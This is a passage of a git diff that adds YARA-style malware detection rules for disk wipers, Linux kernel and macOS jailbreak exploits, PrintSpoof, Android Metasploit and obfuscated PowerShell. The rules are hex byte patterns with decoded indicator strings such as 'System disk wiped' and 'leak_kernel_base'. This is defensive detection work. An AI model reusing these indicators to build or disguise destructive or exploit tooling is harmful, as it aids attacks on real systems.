00 65 00 20 00 74 00 6f 00 20 00 6f 00 70 00 65 00 6e 00 20 00 76 00 6f 00 6c 00 75 00 6d 00 65 00 } //1 [-] Unable to open volume + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_C_dha.yar b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_C_dha.yar new file mode 100644 index 0000000000..de65b443cf --- /dev/null +++ b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_C_dha.yar @@ -0,0 +1,15 @@ + +rule DoS_Win32_DragoWiper_C_dha{ + meta: + description = "DoS:Win32/DragoWiper.C!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {5b 49 4e 46 4f 5d 20 46 69 6c 65 20 64 61 74 61 20 72 65 61 64 20 69 6e 74 6f 20 6d 65 6d 6f 72 79 2e 20 52 65 61 64 20 73 69 7a 65 3a 20 00 } //1 + $a_01_1 = {5b 45 52 52 4f 52 5d 20 46 61 69 6c 65 64 20 74 6f 20 77 72 69 74 65 20 65 6e 63 72 79 70 74 65 64 20 64 61 74 61 20 74 6f 20 66 69 6c 65 20 61 74 20 6f 66 66 73 65 74 20 00 } //1 + $a_01_2 = {50 72 6f 63 65 73 73 69 6e 67 20 6e 6f 6e 2d 73 79 73 74 65 6d 20 64 72 69 76 65 3a 20 00 } //1 + $a_01_3 = {41 6c 6c 20 64 72 69 76 65 73 20 70 72 6f 63 65 73 73 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 00 } //1 + $a_01_4 = {45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 3a 00 20 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_D_dha.yar b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_D_dha.yar new file mode 100644 index 0000000000..559d36819f --- /dev/null +++ b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_D_dha.yar @@ -0,0 +1,14 @@ + +rule DoS_Win32_DragoWiper_D_dha{ + meta: + description = "DoS:Win32/DragoWiper.D!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {4d 79 41 70 70 6c 69 63 61 74 69 6f 6e 00 } //2 祍灁汰捩瑡潩n + $a_01_1 = {5b 00 21 00 5d 00 20 00 4c 00 6f 00 6f 00 6b 00 75 00 70 00 50 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 56 00 61 00 6c 00 75 00 65 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 3a 00 } //2 [!] LookupPrivilegeValue failed: + $a_01_2 = {5b 00 21 00 5d 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 64 00 69 00 73 00 6b 00 20 00 77 00 69 00 70 00 65 00 64 00 2e 00 } //1 [!] System disk wiped. + $a_01_3 = {5b 00 2d 00 5d 00 20 00 53 00 6b 00 69 00 70 00 70 00 69 00 6e 00 67 00 20 00 75 00 6e 00 73 00 75 00 70 00 70 00 6f 00 72 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 3a 00 } //1 [-] Skipping unsupported file system: + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_A_dha.yar b/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_A_dha.yar new file mode 100644 index 0000000000..355087abe6 --- /dev/null +++ b/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_A_dha.yar @@ -0,0 +1,16 @@ + +rule DoS_Win32_GigaWiper_A_dha{ + meta: + description = "DoS:Win32/GigaWiper.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {25 73 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 } //1 %s\Windows\System32 + $a_01_1 = {66 61 69 6c 65 64 20 74 6f 20 63 6c 65 61 72 20 70 61 72 74 69 74 69 6f 6e 73 3a 20 25 76 } //1 failed to clear partitions: %v + $a_01_2 = {50 61 72 74 69 74 69 6f 6e 73 20 72 65 6d 6f 76 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e } //1 Partitions removed successfully. + $a_01_3 = {53 74 61 72 74 69 6e 67 20 70 61 73 73 20 25 64 2e 2e 2e } //1 Starting pass %d... + $a_01_4 = {66 61 69 6c 65 64 20 74 6f 20 77 72 69 74 65 20 74 6f 20 64 69 73 6b 3a } //1 failed to write to disk: + $a_01_5 = {45 72 72 6f 72 20 6f 6e 20 72 65 62 6f 6f 74 69 6e 67 3a } //1 Error on rebooting: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_B_dha.yar b/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_B_dha.yar new file mode 100644 index 0000000000..3a0c1bd27c --- /dev/null +++ b/DoS/Win32/GigaWiper/DoS_Win32_GigaWiper_B_dha.yar @@ -0,0 +1,16 @@ + +rule DoS_Win32_GigaWiper_B_dha{ + meta: + description = "DoS:Win32/GigaWiper.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {50 61 73 73 20 54 69 6d 65 20 74 6f 6f 6b 3a 20 25 73 } //1 Pass Time took: %s + $a_01_1 = {46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 64 72 69 76 65 20 25 73 3a 20 25 76 } //1 Failed to open drive %s: %v + $a_01_2 = {42 79 74 65 73 20 74 6f 20 64 69 73 6b 2e 20 63 6f 75 6e 74 65 72 3a } //1 Bytes to disk. counter: + $a_01_3 = {50 61 73 73 20 25 64 20 63 6f 6d 70 6c 65 74 65 28 52 61 6e 64 6f 6d 29 2e } //1 Pass %d complete(Random). + $a_01_4 = {45 72 72 6f 72 20 64 75 72 69 6e 67 20 77 72 69 74 65 3a 20 25 76 } //1 Error during write: %v + $a_01_5 = {46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 64 69 73 6b 20 73 69 7a 65 3a 20 25 76 } //1 Failed to get disk size: %v + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/DoS/Win32/SleekWiper/DoS_Win32_SleekWiper_A_dha.yar b/DoS/Win32/SleekWiper/DoS_Win32_SleekWiper_A_dha.yar new file mode 100644 index 0000000000..de734352e3 --- /dev/null +++ b/DoS/Win32/SleekWiper/DoS_Win32_SleekWiper_A_dha.yar @@ -0,0 +1,18 @@ + +rule DoS_Win32_SleekWiper_A_dha{ + meta: + description = "DoS:Win32/SleekWiper.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 08 00 00 " + + strings : + $a_01_0 = {44 6f 6d 65 73 74 6f 73 2e 65 78 65 } //1 Domestos.exe + $a_01_1 = {56 47 41 75 74 68 53 65 72 76 69 63 65 2e 65 78 65 } //1 VGAuthService.exe + $a_01_2 = {76 6d 33 64 73 65 72 76 69 63 65 2e 65 78 65 } //1 vm3dservice.exe + $a_01_3 = {5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d } //1 [System Process] + $a_01_4 = {2a 2e 6f 6e 65 74 6f 63 32 } //1 *.onetoc2 + $a_01_5 = {2a 2e 50 41 51 } //1 *.PAQ + $a_43_6 = {f9 4d 53 44 4f 75 90 01 01 3d 53 35 2e 30 90 00 0a } //10 + $a_81_7 = {4e 54 46 53 75 90 01 01 3d 20 20 20 20 90 00 00 00 5d 04 00 00 9a 02 07 80 5c 3a 00 00 9b 02 07 80 00 00 01 00 08 00 24 00 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 46 61 6b 65 43 61 70 74 } //4352 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_43_6 & 1)*10+(#a_81_7 & 1)*4352) >=25 + +} \ No newline at end of file diff --git a/DoS/Win64/AshWiper/DoS_Win64_AshWiper_AA_dha.yar b/DoS/Win64/AshWiper/DoS_Win64_AshWiper_AA_dha.yar new file mode 100644 index 0000000000..7758a1754c --- /dev/null +++ b/DoS/Win64/AshWiper/DoS_Win64_AshWiper_AA_dha.yar @@ -0,0 +1,14 @@ + +rule DoS_Win64_AshWiper_AA_dha{ + meta: + description = "DoS:Win64/AshWiper.AA!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {6c 69 73 74 5f 64 69 73 6b } //1 list_disk + $a_01_1 = {64 65 73 74 72 6f 79 5f 66 69 6c 65 } //1 destroy_file + $a_01_2 = {6c 69 73 74 46 69 6c 65 73 } //1 listFiles + $a_01_3 = {6d 65 72 73 65 6e 6e 65 5f 74 77 69 73 74 65 72 5f 65 6e 67 69 6e 65 } //1 mersenne_twister_engine + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_A_dha.yar b/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_A_dha.yar new file mode 100644 index 0000000000..de8f8c7294 --- /dev/null +++ b/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_A_dha.yar @@ -0,0 +1,14 @@ + +rule DoS_Win64_ElekiWiper_A_dha{ + meta: + description = "DoS:Win64/ElekiWiper.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {00 44 72 69 76 65 57 69 64 65 45 6e 63 72 79 70 74 6f 72 2e 6c 6f 67 00 } //1 + $a_01_1 = {5b 00 53 00 54 00 41 00 52 00 54 00 5d 00 20 00 52 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 20 00 44 00 72 00 69 00 76 00 65 00 57 00 69 00 64 00 65 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 } //1 [START] Running DriveWideEncryptor + $a_01_2 = {5b 00 55 00 4e 00 4b 00 4e 00 4f 00 57 00 4e 00 20 00 45 00 58 00 54 00 45 00 4e 00 53 00 49 00 4f 00 4e 00 53 00 5d 00 20 00 46 00 6f 00 75 00 6e 00 64 00 20 00 66 00 69 00 6c 00 65 00 28 00 73 00 29 00 20 00 77 00 69 00 74 00 68 00 20 00 74 00 68 00 65 00 20 00 66 00 6f 00 6c 00 6c 00 6f 00 77 00 69 00 6e 00 67 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 20 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 73 00 3a 00 } //1 [UNKNOWN EXTENSIONS] Found file(s) with the following unknown extensions: + $a_01_3 = {53 00 6b 00 69 00 70 00 70 00 69 00 6e 00 67 00 20 00 73 00 65 00 6c 00 66 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 61 00 62 00 6c 00 65 00 3a 00 } //1 Skipping self executable: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_B_dha.yar b/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_B_dha.yar new file mode 100644 index 0000000000..6dfc598e43 --- /dev/null +++ b/DoS/Win64/ElekiWiper/DoS_Win64_ElekiWiper_B_dha.yar @@ -0,0 +1,14 @@ + +rule DoS_Win64_ElekiWiper_B_dha{ + meta: + description = "DoS:Win64/ElekiWiper.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {5b 00 49 00 4e 00 46 00 4f 00 5d 00 20 00 53 00 74 00 61 00 72 00 74 00 69 00 6e 00 67 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 00 00 } //1 + $a_01_1 = {5b 00 44 00 4f 00 4e 00 45 00 5d 00 20 00 41 00 6c 00 6c 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 65 00 64 00 2e 00 00 00 } //1 + $a_01_2 = {43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 20 00 66 00 6f 00 72 00 20 00 77 00 72 00 69 00 74 00 69 00 6e 00 67 00 3a 00 20 00 00 00 } //1 + $a_01_3 = {5b 00 53 00 4b 00 49 00 50 00 5d 00 20 00 4f 00 70 00 74 00 69 00 63 00 61 00 6c 00 20 00 64 00 72 00 69 00 76 00 65 00 20 00 73 00 6b 00 69 00 70 00 70 00 65 00 64 00 3a 00 20 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/Linux/CVE-2022-32250/Exploit_Linux_CVE-2022-32250_A_MTB.yar b/Exploit/Linux/CVE-2022-32250/Exploit_Linux_CVE-2022-32250_A_MTB.yar new file mode 100644 index 0000000000..e7f0dcd1cf --- /dev/null +++ b/Exploit/Linux/CVE-2022-32250/Exploit_Linux_CVE-2022-32250_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Exploit_Linux_CVE-2022-32250_A_MTB{ + meta: + description = "Exploit:Linux/CVE-2022-32250.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {73 70 72 61 79 5f 6b 65 79 72 69 6e 67 5f 6c 69 73 74 5f 6f 76 65 72 77 72 69 74 65 5f 70 75 72 70 6f 73 65 } //1 spray_keyring_list_overwrite_purpose + $a_01_1 = {67 65 74 5f 6b 65 79 72 69 6e 67 5f 6c 65 61 6b } //1 get_keyring_leak + $a_01_2 = {73 70 72 61 79 5f 6d 73 67 5f 6d 73 67 } //1 spray_msg_msg + $a_01_3 = {73 70 72 61 79 5f 6d 71 75 65 75 65 } //1 spray_mqueue + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/Linux/FakeJavaDropout/Exploit_Linux_FakeJavaDropout_A.yar b/Exploit/Linux/FakeJavaDropout/Exploit_Linux_FakeJavaDropout_A.yar new file mode 100644 index 0000000000..7dab10f812 --- /dev/null +++ b/Exploit/Linux/FakeJavaDropout/Exploit_Linux_FakeJavaDropout_A.yar @@ -0,0 +1,18 @@ + +rule Exploit_Linux_FakeJavaDropout_A{ + meta: + description = "Exploit:Linux/FakeJavaDropout.A,SIGNATURE_TYPE_ELFHSTR_EXT,3d 00 3d 00 08 00 00 " + + strings : + $a_81_0 = {65 78 65 63 76 65 40 47 4c 49 42 43 } //50 execve@GLIBC + $a_81_1 = {73 79 73 74 65 6d 40 47 4c 49 42 43 } //50 system@GLIBC + $a_81_2 = {67 65 74 75 69 64 40 47 4c 49 42 43 } //10 getuid@GLIBC + $a_81_3 = {6c 6f 67 34 6a } //1 log4j + $a_81_4 = {4c 4f 47 34 4a } //1 LOG4J + $a_81_5 = {73 70 72 69 6e 67 2d 63 6f 72 65 } //1 spring-core + $a_81_6 = {6c 69 62 6a 6c 69 } //-100 libjli + $a_81_7 = {4a 4c 49 5f 49 6e 69 74 41 72 67 50 72 6f 63 65 73 73 69 6e 67 } //-100 JLI_InitArgProcessing + condition: + ((#a_81_0 & 1)*50+(#a_81_1 & 1)*50+(#a_81_2 & 1)*10+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*-100+(#a_81_7 & 1)*-100) >=61 + +} \ No newline at end of file diff --git a/Exploit/Linux/Masjesuscan/Exploit_Linux_Masjesuscan_A_MTB.yar b/Exploit/Linux/Masjesuscan/Exploit_Linux_Masjesuscan_A_MTB.yar new file mode 100644 index 0000000000..ca1f8eed50 --- /dev/null +++ b/Exploit/Linux/Masjesuscan/Exploit_Linux_Masjesuscan_A_MTB.yar @@ -0,0 +1,13 @@ + +rule Exploit_Linux_Masjesuscan_A_MTB{ + meta: + description = "Exploit:Linux/Masjesuscan.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {6d 61 73 6a 65 73 75 73 63 61 6e 2f 65 78 70 6c 6f 69 74 } //1 masjesuscan/exploit + $a_01_1 = {65 6e 76 73 63 61 6e 2e 50 61 67 65 62 72 75 74 65 73 } //1 envscan.Pagebrutes + $a_01_2 = {73 73 68 73 63 61 6e 2e 53 73 68 62 72 75 74 65 73 } //1 sshscan.Sshbrutes + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_K_MTB.yar b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_K_MTB.yar new file mode 100644 index 0000000000..66f7f5308e --- /dev/null +++ b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_K_MTB.yar @@ -0,0 +1,13 @@ + +rule Exploit_MacOS_Vortex_K_MTB{ + meta: + description = "Exploit:MacOS/Vortex.K!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {72 65 69 6e 73 74 61 6c 6c 43 79 64 69 61 } //1 reinstallCydia + $a_01_1 = {66 69 6e 64 70 68 79 73 5f 72 65 61 6c } //1 findphys_real + $a_01_2 = {6c 65 61 6b 5f 6b 65 72 6e 65 6c 5f 62 61 73 65 } //1 leak_kernel_base + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_L_MTB.yar b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_L_MTB.yar new file mode 100644 index 0000000000..ff27dbe4b9 --- /dev/null +++ b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_L_MTB.yar @@ -0,0 +1,13 @@ + +rule Exploit_MacOS_Vortex_L_MTB{ + meta: + description = "Exploit:MacOS/Vortex.L!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {66 61 6b 65 5f 70 6f 72 74 5f 62 75 66 66 65 72 } //1 fake_port_buffer + $a_01_1 = {6c 65 61 6b 32 30 41 6e 64 46 72 65 65 } //1 leak20AndFree + $a_01_2 = {74 6d 70 2f 2e 6a 61 69 6c 62 72 6f 6b 65 6e } //1 tmp/.jailbroken + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_M_MTB.yar b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_M_MTB.yar new file mode 100644 index 0000000000..0a7959aca3 --- /dev/null +++ b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_M_MTB.yar @@ -0,0 +1,13 @@ + +rule Exploit_MacOS_Vortex_M_MTB{ + meta: + description = "Exploit:MacOS/Vortex.M!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {62 65 61 72 64 65 64 5f 6f 6c 64 5f 6d 61 6e 5f 6e 6f 5f 73 74 61 73 68 } //1 bearded_old_man_no_stash + $a_01_1 = {49 4f 53 75 72 66 61 63 65 5f 73 70 72 61 79 5f 77 69 74 68 5f 67 63 } //1 IOSurface_spray_with_gc + $a_01_2 = {65 78 74 72 61 63 74 50 61 79 6c 6f 61 64 46 72 6f 6d 49 4d 34 50 } //1 extractPayloadFromIM4P + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_N_MTB.yar b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_N_MTB.yar new file mode 100644 index 0000000000..56200b0fa4 --- /dev/null +++ b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_N_MTB.yar @@ -0,0 +1,15 @@ + +rule Exploit_MacOS_Vortex_N_MTB{ + meta: + description = "Exploit:MacOS/Vortex.N!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 00 " + + strings : + $a_00_0 = {74 61 70 70 65 64 4f 6e 4a 61 69 6c 62 72 65 61 6b } //1 tappedOnJailbreak + $a_00_1 = {70 77 6e 32 30 77 6e 64 73 74 75 66 66 } //1 pwn20wndstuff + $a_00_2 = {44 75 6d 70 41 50 54 69 63 6b 65 74 53 77 69 74 63 68 } //1 DumpAPTicketSwitch + $a_00_3 = {65 6c 65 63 74 72 61 2d 70 72 65 6a 61 69 6c 62 72 65 61 6b } //1 electra-prejailbreak + $a_00_4 = {73 70 61 77 6e 41 6e 64 53 68 61 69 48 75 6c 75 64 } //1 spawnAndShaiHulud + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_O_MTB.yar b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_O_MTB.yar new file mode 100644 index 0000000000..c7eb3e971c --- /dev/null +++ b/Exploit/MacOS/Vortex/Exploit_MacOS_Vortex_O_MTB.yar @@ -0,0 +1,18 @@ + +rule Exploit_MacOS_Vortex_O_MTB{ + meta: + description = "Exploit:MacOS/Vortex.O!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 08 00 00 " + + strings : + $a_01_0 = {69 73 20 63 68 65 63 6b 72 61 31 6e 20 63 6c 6f 6e 65 } //2 is checkra1n clone + $a_01_1 = {69 73 20 63 68 65 63 6b 72 61 31 6e } //2 is checkra1n + $a_01_2 = {63 68 65 63 6b 72 61 31 6e 2e 58 58 58 58 58 58 } //1 checkra1n.XXXXXX + $a_01_3 = {6f 76 65 72 72 69 64 65 2d 6c 69 62 63 68 65 63 6b 72 61 31 6e 68 65 6c 70 65 72 } //1 override-libcheckra1nhelper + $a_01_4 = {73 72 63 2f 73 74 61 67 65 31 2f 63 68 65 63 6b 6d 38 2e 63 } //1 src/stage1/checkm8.c + $a_01_5 = {59 4f 4c 4f 3a 63 68 65 63 6b 72 61 31 6e } //1 YOLO:checkra1n + $a_01_6 = {69 6e 69 74 5f 63 68 65 63 6b 72 61 31 6e } //1 init_checkra1n + $a_01_7 = {2f 68 6f 6d 65 2f 72 75 6e 6e 65 72 2f 77 6f 72 6b 2f 70 61 6c 65 72 61 31 6e 2f 70 61 6c 65 72 61 31 6e } //1 /home/runner/work/palera1n/palera1n + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Exploit/Win32/Tikupom/Exploit_Win32_Tikupom.yar b/Exploit/Win32/Tikupom/Exploit_Win32_Tikupom.yar index eefdbbf696..4d64f3eb38 100644 --- a/Exploit/Win32/Tikupom/Exploit_Win32_Tikupom.yar +++ b/Exploit/Win32/Tikupom/Exploit_Win32_Tikupom.yar @@ -1,7 +1,7 @@ rule Exploit_Win32_Tikupom{ meta: - description = "Exploit:Win32/Tikupom,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + description = "Exploit:Win32/Tikupom,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 0b 00 00 " strings : $a_00_0 = {67 00 63 00 6d 00 20 00 } //2 gcm @@ -9,7 +9,13 @@ rule Exploit_Win32_Tikupom{ $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 } //1 $env: $a_00_3 = {75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 utf8.getstring $a_00_4 = {5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 6f 00 62 00 79 00 74 00 65 00 } //1 [convert]::tobyte + $a_00_5 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo + $a_00_6 = {5c 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 \msedgewebview2.exe + $a_00_7 = {5c 00 4c 00 65 00 6e 00 6f 00 76 00 6f 00 41 00 70 00 70 00 53 00 74 00 6f 00 72 00 65 00 2e 00 65 00 78 00 65 00 } //-1000 \LenovoAppStore.exe + $a_00_8 = {5c 00 6d 00 73 00 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 } //-1000 \msedge.exe + $a_00_9 = {5c 00 45 00 6c 00 6c 00 69 00 70 00 74 00 69 00 63 00 48 00 50 00 44 00 44 00 61 00 65 00 6d 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 } //-1000 \EllipticHPDDaemon.exe + $a_00_10 = {5c 00 44 00 72 00 6f 00 70 00 42 00 6f 00 78 00 2e 00 65 00 78 00 65 00 } //-1000 \DropBox.exe condition: - ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-1000+(#a_00_6 & 1)*-1000+(#a_00_7 & 1)*-1000+(#a_00_8 & 1)*-1000+(#a_00_9 & 1)*-1000+(#a_00_10 & 1)*-1000) >=5 } \ No newline at end of file diff --git a/Exploit/Win64/PrintSpoof/Exploit_Win64_PrintSpoof_APS_MTB.yar b/Exploit/Win64/PrintSpoof/Exploit_Win64_PrintSpoof_APS_MTB.yar new file mode 100644 index 0000000000..afa34996b7 --- /dev/null +++ b/Exploit/Win64/PrintSpoof/Exploit_Win64_PrintSpoof_APS_MTB.yar @@ -0,0 +1,12 @@ + +rule Exploit_Win64_PrintSpoof_APS_MTB{ + meta: + description = "Exploit:Win64/PrintSpoof.APS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {48 8d 44 24 78 48 8b 4c 24 60 45 33 c0 48 89 44 24 40 ba 01 00 00 00 48 8d 45 90 48 89 44 24 38 48 8b 44 24 68 48 89 5c 24 30 48 89 44 24 28 89 74 24 20 ff 15 } //3 + $a_01_1 = {0f 57 c0 48 89 7c 24 68 8b df 48 89 45 f0 0f 11 44 24 78 48 c7 44 24 60 ff ff ff ff 0f 11 4d 90 0f 11 4d a0 0f 11 4d b0 0f 11 4d c0 0f 11 4d d0 0f 11 4d e0 ff 15 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/HackTool/AndroidOS/Metasploit/HackTool_AndroidOS_Metasploit_F_MTB.yar b/HackTool/AndroidOS/Metasploit/HackTool_AndroidOS_Metasploit_F_MTB.yar new file mode 100644 index 0000000000..fc7067b4e0 --- /dev/null +++ b/HackTool/AndroidOS/Metasploit/HackTool_AndroidOS_Metasploit_F_MTB.yar @@ -0,0 +1,12 @@ + +rule HackTool_AndroidOS_Metasploit_F_MTB{ + meta: + description = "HackTool:AndroidOS/Metasploit.F!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {1a 01 09 01 12 02 23 22 7e 00 6e 30 ae 00 10 02 0c 01 12 00 12 02 6e 30 ce 00 01 02 0c 00 1f 00 0e 00 39 00 14 00 22 00 1e 00 71 00 30 00 00 00 0c 02 70 20 2e 00 20 00 22 02 3f 00 70 20 8b 00 12 00 6e 20 2f 00 20 00 } //1 + $a_01_1 = {1a 01 58 00 62 02 09 00 71 10 c2 00 02 00 0c 02 71 10 c2 00 02 00 0c 03 6e 10 bc 00 03 00 0a 03 d8 03 03 11 